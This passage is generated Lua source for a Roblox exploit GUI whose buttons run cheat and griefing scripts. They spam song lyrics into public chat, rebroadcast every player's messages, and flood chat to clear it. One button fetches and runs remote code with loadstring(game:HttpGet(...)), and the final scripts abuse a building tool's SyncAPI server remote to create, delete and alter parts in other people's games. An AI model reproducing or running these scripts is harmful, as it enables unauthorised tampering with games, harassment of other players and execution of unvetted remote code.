				AlignPosition.MaxVelocity = math.huge
				AlignPosition.Responsiveness = 200
				AlignPosition.Attachment0 = Attachment2 
				AlignPosition.Attachment1 = Attachment1
			end
		end
		for _, v in next, game:GetService("Workspace"):GetDescendants() do
			ForcePart(v)
		end
		game:GetService("Workspace").DescendantAdded:Connect(function(v)
			ForcePart(v)
		end)
		UserInputService.InputBegan:Connect(function(Key, Chat)
			if Key.KeyCode == Enum.KeyCode.E and not Chat then
				Updated = Mouse.Hit + Vector3.new(0, 5, 0)
			end
		end)
		spawn(function()
			while game:GetService("RunService").RenderStepped:Wait() do
				Attachment1.WorldCFrame = Updated
			end
		end)
	
	
	end)
end;
task.spawn(C_e5);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_e7()
local script = G2L["e7"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
	
		wait(5)
	
		--[[ Info ]]--
	
		local ver = "2.00"
		local scriptname = "feFlip"
	
	
		--[[ Keybinds ]]--
	
		local FrontflipKey = Enum.KeyCode.Z
		local BackflipKey = Enum.KeyCode.X
		local AirjumpKey = Enum.KeyCode.C
	
	
		--[[ Dependencies ]]--
	
		local ca = game:GetService("ContextActionService")
		local zeezy = game:GetService("Players").LocalPlayer
		local h = 0.0174533
		local antigrav
	
	
		--[[ Functions ]]--
	
		function zeezyFrontflip(act,inp,obj)
			if inp == Enum.UserInputState.Begin then
				zeezy.Character.Humanoid:ChangeState("Jumping")
				wait()
				zeezy.Character.Humanoid.Sit = true
				for i = 1,360 do 
					delay(i/720,function()
						zeezy.Character.Humanoid.Sit = true
						zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(-h,0,0)
					end)
				end
				wait(0.55)
				zeezy.Character.Humanoid.Sit = false
			end
		end
	
		function zeezyBackflip(act,inp,obj)
			if inp == Enum.UserInputState.Begin then
				zeezy.Character.Humanoid:ChangeState("Jumping")
				wait()
				zeezy.Character.Humanoid.Sit = true
				for i = 1,360 do
					delay(i/720,function()
						zeezy.Character.Humanoid.Sit = true
						zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(h,0,0)
					end)
				end
				wait(0.55)
				zeezy.Character.Humanoid.Sit = false
			end
		end
	
		function zeezyAirjump(act,inp,obj)
			if inp == Enum.UserInputState.Begin then
				zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Seated")
				wait()
				zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping")	
			end
		end
	
	
		--[[ Binds ]]--
	
		ca:BindAction("zeezyFrontflip",zeezyFrontflip,false,FrontflipKey)
		ca:BindAction("zeezyBackflip",zeezyBackflip,false,BackflipKey)
		ca:BindAction("zeezyAirjump",zeezyAirjump,false,AirjumpKey)
	
		--[[ Load Message ]]--
	
		print(scriptname .. " " .. ver .. " loaded successfully")
		print("made by Zeezy#7203")
	
		local notifSound = Instance.new("Sound",workspace)
		notifSound.PlaybackSpeed = 1.5
		notifSound.Volume = 0.15
		notifSound.SoundId = "rbxassetid://170765130"
		notifSound.PlayOnRemove = true
		notifSound:Destroy()
		game.StarterGui:SetCore("SendNotification", {Title = "feFlip", Text = "feFlip loaded successfully!", Icon = "rbxassetid://505845268", Duration = 5, Button1 = "Okay"})
	
	end)
end;
task.spawn(C_e7);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_e9()
local script = G2L["e9"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local UserInputService = game:GetService("UserInputService")
		local RunService = game:GetService("RunService")
		local Camera = workspace.CurrentCamera
	
		local SPEED_MULTIPLIER = 30
		local JUMP_POWER = 60
		local JUMP_GAP = 0.3
		local delta = 1
	
		local character = game.Players.LocalPlayer.Character or game.Players.LocalPlayer.CharacterAdded:Wait()
	
		for i, v in ipairs(character:GetDescendants()) do
			if v:IsA("BasePart") then
				v.CanCollide = false
				v.Transparency = 0
			end
		end
	
		local ball = character:WaitForChild("HumanoidRootPart")
		ball.Shape = Enum.PartType.Ball
		ball.Material = Enum.Material.SmoothPlastic
		ball.Size = Vector3.new(5, 5, 5)
		ball.Transparency = 0.75
	
		local humanoid = character:WaitForChild("Humanoid")
		local params = RaycastParams.new()
		params.FilterType = Enum.RaycastFilterType.Blacklist
		params.FilterDescendantsInstances = {character}
	
		local function updateMovement()
			local movement = Vector3.new(0, 0, 0)
	
			if UserInputService:IsKeyDown(Enum.KeyCode.W) then
				movement -= Camera.CFrame.LookVector
			end
			if UserInputService:IsKeyDown(Enum.KeyCode.S) then
				movement += Camera.CFrame.LookVector
			end
			if UserInputService:IsKeyDown(Enum.KeyCode.A) then
				movement -= Camera.CFrame.RightVector
			end
			if UserInputService:IsKeyDown(Enum.KeyCode.D) then
				movement += Camera.CFrame.RightVector
			end
	
			if movement.Magnitude > 0 then
				movement = movement.Unit * SPEED_MULTIPLIER
				ball.RotVelocity = Vector3.new(movement.X, ball.RotVelocity.Y, movement.Z)
			end
		end
	
		local movementConnection = RunService.RenderStepped:Connect(function(delta)
			ball.CanCollide = true
			humanoid.PlatformStand = true
	
			if not UserInputService:GetFocusedTextBox() then
				updateMovement()
			end
		end)
	
		UserInputService.JumpRequest:Connect(function()
			local result = workspace:Raycast(
				ball.Position,
				Vector3.new(0, -((ball.Size.Y / 2) + JUMP_GAP), 0),
				params
			)
	
			if result then
				ball.Velocity = ball.Velocity + Vector3.new(0, JUMP_POWER, 0)
			end
		end)
	
		Camera.CameraSubject = ball
		humanoid.Died:Connect(function()
			movementConnection:Disconnect()
		end)
	
	
	end)
end;
task.spawn(C_e9);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_eb()
local script = G2L["eb"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local delay = 2.5
		function send(text)
			local A_delay = text
			local A_2 = "All"
			local event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
			event:FireServer(A_delay, A_2)
	
		end
		
			send("We're no strangers to love")
			wait(delay)
			send("You know the rules, and so do I")
			wait(delay)
			send("A full commitment's what I'm thinking of")
			wait(delay)
			send("You wouldn't get this from any other guy")
			wait(delay)
			send("I just wanna tell you how I'm feeling")
			wait(delay)
			send("Gotta make you understand")
			wait(delay)
			send("Never gonna give you up")
			wait(delay)
			send("Never gonna let you down")
			wait(delay)
			send("Never gonna run around and desert you")
			wait(delay)
			send("Never gonna make you cry")
			wait(delay)
			send("Never gonna say goodbye")
			wait(delay)
			send("Never gonna tell a lie and hurt you")
			wait(delay)
			send("We've known each other for so long")
			wait(delay)
			send("Your heart's been aching but you're too shy to say it")
			wait(delay)
			send("Inside we both know what's been going on")
			wait(delay)
			send("We know the game and we're gonna play it")
			wait(delay)
			send("And if you ask me how I'm feeling")
			wait(delay)
			send("Don't tell me you're too blind to see")
			wait(delay)
			send("Never gonna give you up")
			wait(delay)
			send("Never gonna let you down")
			wait(delay)
			send("Never gonna run around and desert you")
			wait(delay)
			send("Never gonna make you cry")
			wait(delay)
			send("Never gonna say goodbye")
			wait(delay)
			send("Never gonna tell a lie and hurt you")
			wait(delay)
			send("Never gonna give you up")
			wait(delay)
			send("Never gonna let you down")
			wait(delay)
			send("Never gonna run around and desert you")
			wait(delay)
			send("Never gonna make you cry")
			wait(delay)
			send("Never gonna say goodbye")
			wait(delay)
			send("Never gonna tell a lie and hurt you")
			wait(delay)
			send("Never gonna give, never gonna give (Give you up)")
			wait(delay)
			send("We've known each other for so long")
			wait(delay)
			send("Your heart's been aching but you're too shy to say it")
			wait(delay)
			send("Inside we both know what's been going on")
			wait(delay)
			send("We know the game and we're gonna play it")
			wait(delay)
			send("I just wanna tell you how I'm feeling")
			wait(delay)
			send("Gotta make you understand")
			wait(delay)
			send("Never gonna give you up")
			wait(delay)
			send("Never gonna let you down")
			wait(delay)
			send("Never gonna run around and desert you")
			wait(delay)
			send("Never gonna make you cry")
			wait(delay)
			send("Never gonna say goodbye")
			wait(delay)
			send("Never gonna tell a lie and hurt you")
			wait(delay)
			send("Never gonna give you up")
			wait(delay)
			send("Never gonna let you down")
			wait(delay)
			send("Never gonna run around and desert you")
			wait(delay)
			send("Never gonna make you cry")
			wait(delay)
			send("Never gonna say goodbye")
			wait(delay)
			send("Never gonna tell a lie and hurt you")
			wait(delay)
			send("Never gonna give you up")
			wait(delay)
			send("Never gonna let you down")
			wait(delay)
			send("Never gonna run around and desert you")
			wait(delay)
			send("Never gonna make you cry")
			wait(delay)
			send("Never gonna say goodbye")
			wait(delay)
			send("Never gonna tell a lie and hurt you")
	
	end)
end;
task.spawn(C_eb);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_ed()
local script = G2L["ed"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--- [R6] FE salute ---
		--- Edited by nul#3174 ---
		--- Credits to the unknown original creator ---
	
		local UIS = game:GetService("UserInputService")
		local Posed = false
		local Player = game.Players.LocalPlayer
		local Animation = Instance.new("Animation")
		Animation.AnimationId = "rbxassetid://186434728"
		local Track = Player.Character.Humanoid:LoadAnimation(Animation)
	
	
		local function onRan()
			UIS.InputBegan:Connect(function(input, gameProcessed)
				if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then
					Posed = true
					Track:Play()
					wait(.05)
					Track:AdjustSpeed(0)
				elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then
					Posed = false
					Track:Stop()
				end
			end)
		end
	
		onRan()
	
		local function onDeath()
			Player.CharacterAdded:Wait()
			repeat wait() until Player.Character:FindFirstChild("Humanoid")
			Track = Player.Character.Humanoid:LoadAnimation(Animation)
			UIS.InputBegan:Connect(function(input, gameProcessed)
				if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then
					Posed = true
					Track:Play()
					wait(.05)
					Track:AdjustSpeed(0)
				elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then
					Posed = false
					Track:Stop()
				end
			end)
		end
	
		Player.Character:WaitForChild("Humanoid").Died:Connect(function()
			onDeath()
			onRan()
		end)
	
		Player.CharacterAdded:Connect(function()
			onDeath()
			onRan()
		end)
	
	end)
end;
task.spawn(C_ed);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_ef()
local script = G2L["ef"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		-- Lyrics
		local lyrics = {
	
			"Spooky Scary Skeletons",
			"Send shivers down your spine",
			"Shrieking skulls will shock your soul",
			"Seal your doom tonight",
			"Spooky Scary Skeletons",
			"Speak with such a screech",
			"You'll shake and shudder in surprise",
			"When you hear these zombies shriek",
			"We're so sorry skeletons",
			"You're so misunderstood",
			"You only want to socialize",
			"But i don't think we should",
			"Cause spooky scary skeletons",
			"Shout startling shrilly screams",
			"They'll sneak from their sarcophagus",
			"And just won't leave you be.",
		}
	
		-- Chat function
		local function singLyrics()
			for _, lyric in ipairs(lyrics) do
				game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(lyric, "All")
				wait(2.5) -- Adjust the delay as desired
			end
		end
	
		-- Start singing
		singLyrics()
	
	end)
end;
task.spawn(C_ef);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f1()
local script = G2L["f1"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local A_1 = "Ima do it."
		local A_2 = "All"
		local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
		Event:FireServer(A_1, A_2)
		wait(1)
		local A_1 = "I will oof."
		local A_2 = "All"
		local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
		Event:FireServer(A_1, A_2)
		wait(1)
		local A_1 = "Goodbye."
		local A_2 = "All"
		local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
		Event:FireServer(A_1, A_2)
		wait(1)
		local LocalPlayer = game:GetService("Players").LocalPlayer
		LocalPlayer.Character.Humanoid:MoveTo(LocalPlayer.Character.HumanoidRootPart.Position + LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * 10)
		LocalPlayer.Character.Humanoid.Jump = true
		wait(0.5)
		function Iterate(instance, func)
			for i, v in next, instance:GetChildren() do
				func(v)
			end
		end
		limbs = {
			["Right Leg"] = true;
			["Right Arm"] = true;
			["Left Leg"] = true;
			["Left Arm"] = true;
		}
		Iterate(LocalPlayer.Character, function(v)
			if v:IsA("BasePart") then
				local attachment = Instance.new("Attachment")
				attachment.Parent = v
				attachment.Name = (v.Name .. "[Attachment]")
				if limbs[v.Name] then
					attachment.Position = Vector3.new(0, v.Size.Y/2, 0)
				elseif v.Name == "Head" then
					attachment.Position = Vector3.new(0, -v.Size.Y/2, 0)
					attachment.Rotation = Vector3.new(0, 0, -90)
				end
			end
		end)
		local leftLegAttachment = Instance.new("Attachment")
		leftLegAttachment.Position = Vector3.new(-.5, -1, 0)
		leftLegAttachment.Rotation = Vector3.new(0, -90, 0)
		local rightLegAttachment = Instance.new("Attachment")
		rightLegAttachment.Position = Vector3.new(.5, -1, 0)
		rightLegAttachment.Rotation = Vector3.new(0, -90, 0)
		rightLegAttachment.Parent, leftLegAttachment.Parent = LocalPlayer.Character.Torso, LocalPlayer.Character.Torso
		jointAttachments = {
			['Head'] = {
				['Attachment0'] = LocalPlayer.Character.Torso['NeckAttachment'];
				['Attachment1'] = LocalPlayer.Character.Head['Head[Attachment]'];
			};
			['Left Arm'] = {
				['Attachment0'] = LocalPlayer.Character.Torso['LeftCollarAttachment'];
				['Attachment1'] = LocalPlayer.Character['Left Arm']['Left Arm[Attachment]'];
			};
			['Right Arm'] = {
				['Attachment0'] = LocalPlayer.Character.Torso['RightCollarAttachment'];
				['Attachment1'] = LocalPlayer.Character['Right Arm']['Right Arm[Attachment]'];
			};
			['Left Leg'] = {
				['Attachment0'] = leftLegAttachment;
				['Attachment1'] = LocalPlayer.Character['Left Leg']['Left Leg[Attachment]'];
			};
			['Right Leg'] = {
				['Attachment0'] = rightLegAttachment;
				['Attachment1'] = LocalPlayer.Character['Right Leg']['Right Leg[Attachment]'];
			};
		}
		LocalPlayer.Character.Humanoid.PlatformStand = true
		Iterate(LocalPlayer.Character, function(v)
			if v:IsA("BasePart") then
				if jointAttachments[v.Name] then
					local ballSocketJoint = Instance.new("BallSocketConstraint")
					ballSocketJoint.Parent = v
					ballSocketJoint.Radius = 0.15
					ballSocketJoint.Attachment0, ballSocketJoint.Attachment1 = jointAttachments[v.Name]['Attachment0'], jointAttachments[v.Name]['Attachment1']
				end
			end
		end)
		Iterate(LocalPlayer.Character.Torso, function(v)
			if v:IsA("Motor") then
				v:Remove()
			end
		end)
	
	end)
end;
task.spawn(C_f1);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f3()
local script = G2L["f3"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local Action = game.Players:GetPlayers()
		for i = 1,#Action do
			Action[i].Chatted:connect(function(Message)
				game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("".."["..Action[i].Name.."]:".." "..Message, "All")
			end)
		end
	
	end)
end;
task.spawn(C_f3);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f5()
local script = G2L["f5"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local hint = Instance.new("Hint", workspace)
		local count = 60
		repeat
			hint.Text = "Estimated time remaining until chat is deleted: "..math.floor(count*2.5).." seconds"
			wait(2.5)
			count = count - 1
			game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(" ", "All")
		until count == 0
	
		hint.Text = "The chat should be gone."
		wait(3)
		hint:Destroy()
	
	end)
end;
task.spawn(C_f5);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f7()
local script = G2L["f7"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		if game.PlaceId == 445664957 then
			return;
		end
	
		local player = game:GetService("Players").LocalPlayer
		repeat wait() until game.Players.LocalPlayer.Character
		Char = game.Players.LocalPlayer.Character or player.CharacterAdded:Wait()
	
	
		if Char.Humanoid.RigType == Enum.HumanoidRigType.R6 == true then
	
			game.Players.LocalPlayer.Character:BreakJoints()
			game.Players.LocalPlayer.Character=nil
			Connection = game.Workspace.DescendantAdded:Connect(function(c)
				if c.Name == "Animate" then
					c.Disabled=true        
				end
			end)
	
			function waitForChild(parent, childName)
				local child = parent:findFirstChild(childName)
				if child then return child end
				while true do
					child = parent.ChildAdded:wait()
					if child.Name==childName then return child end
				end
			end
	
			repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil
	
			Died = game.Players.LocalPlayer.Character:waitForChild("Humanoid").Died:Connect(function()
				Connection:Disconnect()
				Died:Disconnect()
			end)
			wait(.1)
	
			-- ANIMATION
	
			-- declarations
	
			local Figure = game.Players.LocalPlayer.Character
			local Torso = waitForChild(Figure, "Torso")
			local RightShoulder = waitForChild(Torso, "Right Shoulder")
			local LeftShoulder = waitForChild(Torso, "Left Shoulder")
			local RightHip = waitForChild(Torso, "Right Hip")
			local LeftHip = waitForChild(Torso, "Left Hip")
			local Neck = waitForChild(Torso, "Neck")
			local Humanoid = waitForChild(Figure, "Humanoid")
			local pose = "Standing"
	
			local toolAnim = "None"
			local toolAnimTime = 0
	
			local jumpMaxLimbVelocity = 0.75
	
			-- functions
	
			function onRunning(speed)
				if speed>0 then
					pose = "Running"
				else
					pose = "Standing"
				end
			end
	
			function onDied()
				pose = "Dead"
			end
	
			function onJumping()
				pose = "Jumping"
			end
	
			function onClimbing()
				pose = "Climbing"
			end
	
			function onGettingUp()
				pose = "GettingUp"
			end
	
			function onFreeFall()
				pose = "FreeFall"
			end
	
			function onFallingDown()
				pose = "FallingDown"
			end
	
			function onSeated()
				pose = "Seated"
			end
	
			function onPlatformStanding()
				pose = "PlatformStanding"
			end
	
			function onSwimming(speed)
				if speed>0 then
					pose = "Running"
				else
					pose = "Standing"
				end
			end
	
			function moveJump()
				RightShoulder.MaxVelocity = jumpMaxLimbVelocity
				LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
				RightShoulder:SetDesiredAngle(3.14)
				LeftShoulder:SetDesiredAngle(-3.14)
				RightHip:SetDesiredAngle(0)
				LeftHip:SetDesiredAngle(0)
			end
	
	
			-- same as jump for now
	
			function moveFreeFall()
				RightShoulder.MaxVelocity = jumpMaxLimbVelocity
				LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
				RightShoulder:SetDesiredAngle(3.14)
				LeftShoulder:SetDesiredAngle(-3.14)
				RightHip:SetDesiredAngle(0)
				LeftHip:SetDesiredAngle(0)
			end
	
			function moveSit()
				RightShoulder.MaxVelocity = 0.15
				LeftShoulder.MaxVelocity = 0.15
				RightShoulder:SetDesiredAngle(3.14 /2)
				LeftShoulder:SetDesiredAngle(-3.14 /2)
				RightHip:SetDesiredAngle(3.14 /2)
				LeftHip:SetDesiredAngle(-3.14 /2)
			end
	
			function getTool()
				for _, kid in ipairs(Figure:GetChildren()) do
					if kid.className == "Tool" then return kid end
				end
				return nil
			end
	
			function getToolAnim(tool)
				for _, c in ipairs(tool:GetChildren()) do
					if c.Name == "toolanim" and c.className == "StringValue" then
						return c
					end
				end
				return nil
			end
	
			function animateTool()
	
				if (toolAnim == "None") then
					RightShoulder:SetDesiredAngle(1.57)
					return
				end
	
				if (toolAnim == "Slash") then
					RightShoulder.MaxVelocity = 0.5
					RightShoulder:SetDesiredAngle(0)
					return
				end
	
				if (toolAnim == "Lunge") then
					RightShoulder.MaxVelocity = 0.5
					LeftShoulder.MaxVelocity = 0.5
					RightHip.MaxVelocity = 0.5
					LeftHip.MaxVelocity = 0.5
					RightShoulder:SetDesiredAngle(1.57)
					LeftShoulder:SetDesiredAngle(1.0)
					RightHip:SetDesiredAngle(1.57)
					LeftHip:SetDesiredAngle(1.0)
					return
				end
			end
	
			function move(time)
				local amplitude
				local frequency
	
				if (pose == "Jumping") then
					moveJump()
					return
				end
	
				if (pose == "FreeFall") then
					moveFreeFall()
					return
				end
	
				if (pose == "Seated") then
					moveSit()
					return
				end
	
				local climbFudge = 0
	
				if (pose == "Running") then
					if (RightShoulder.CurrentAngle > 1.5 or RightShoulder.CurrentAngle < -1.5) then
						RightShoulder.MaxVelocity = jumpMaxLimbVelocity
					else  
						RightShoulder.MaxVelocity = 0.15
					end
					if (LeftShoulder.CurrentAngle > 1.5 or LeftShoulder.CurrentAngle < -1.5) then
						LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
					else  
						LeftShoulder.MaxVelocity = 0.15
					end
					amplitude = 1
					frequency = 9
				elseif (pose == "Climbing") then
					RightShoulder.MaxVelocity = 0.5
					LeftShoulder.MaxVelocity = 0.5
					amplitude = 1
					frequency = 9
					climbFudge = 3.14
				else
					amplitude = 0.1
					frequency = 1
				end
	
				desiredAngle = amplitude * math.sin(time*frequency)
	
				RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
				LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
				RightHip:SetDesiredAngle(-desiredAngle)
				LeftHip:SetDesiredAngle(-desiredAngle)
	
	
				local tool = getTool()
	
				if tool then
	
					animStringValueObject = getToolAnim(tool)
	
					if animStringValueObject then
						toolAnim = animStringValueObject.Value
						-- message recieved, delete StringValue
						animStringValueObject.Parent = nil
						toolAnimTime = time + .3
					end
	
					if time > toolAnimTime then
						toolAnimTime = 0
						toolAnim = "None"
					end
	
					animateTool()
	
	
				else
					toolAnim = "None"
					toolAnimTime = 0
				end
			end
	
	
			-- connect events
	
			Humanoid.Died:connect(onDied)
			Humanoid.Running:connect(onRunning)
			Humanoid.Jumping:connect(onJumping)
			Humanoid.Climbing:connect(onClimbing)
			Humanoid.GettingUp:connect(onGettingUp)
			Humanoid.FreeFalling:connect(onFreeFall)
			Humanoid.FallingDown:connect(onFallingDown)
			Humanoid.Seated:connect(onSeated)
			Humanoid.PlatformStanding:connect(onPlatformStanding)
			Humanoid.Swimming:connect(onSwimming)
			-- main program
	
			local runService = game:service("RunService");
	
			while Figure.Parent~=nil do
				local _, time = wait(0.1)
				move(time)
			end
		end
	
	
	
	end)
end;
task.spawn(C_f7);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_f9()
local script = G2L["f9"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://raw.githubusercontent.com/AlexCr4sh/FeScripts/main/FeCarScript.lua", true))()
	
	end)
end;
task.spawn(C_f9);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_fd()
local script = G2L["fd"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
	button.MouseButton1Down:connect(function()
		--rgrg
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function Sky(id)
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
					--spawn(function()
					SetName(v,"Sky")
					AddMesh(v)
					--end)
					--spawn(function()
					SetMesh(v,"8006679977")
					SetTexture(v,id)
					--end)
					MeshResize(v,Vector3.new(50,50,50))
					SetLocked(v,true)
				end
			end
		end
		Sky(input.Text)
	
	
	end)
end;
task.spawn(C_fd);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_ff()
local script = G2L["ff"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
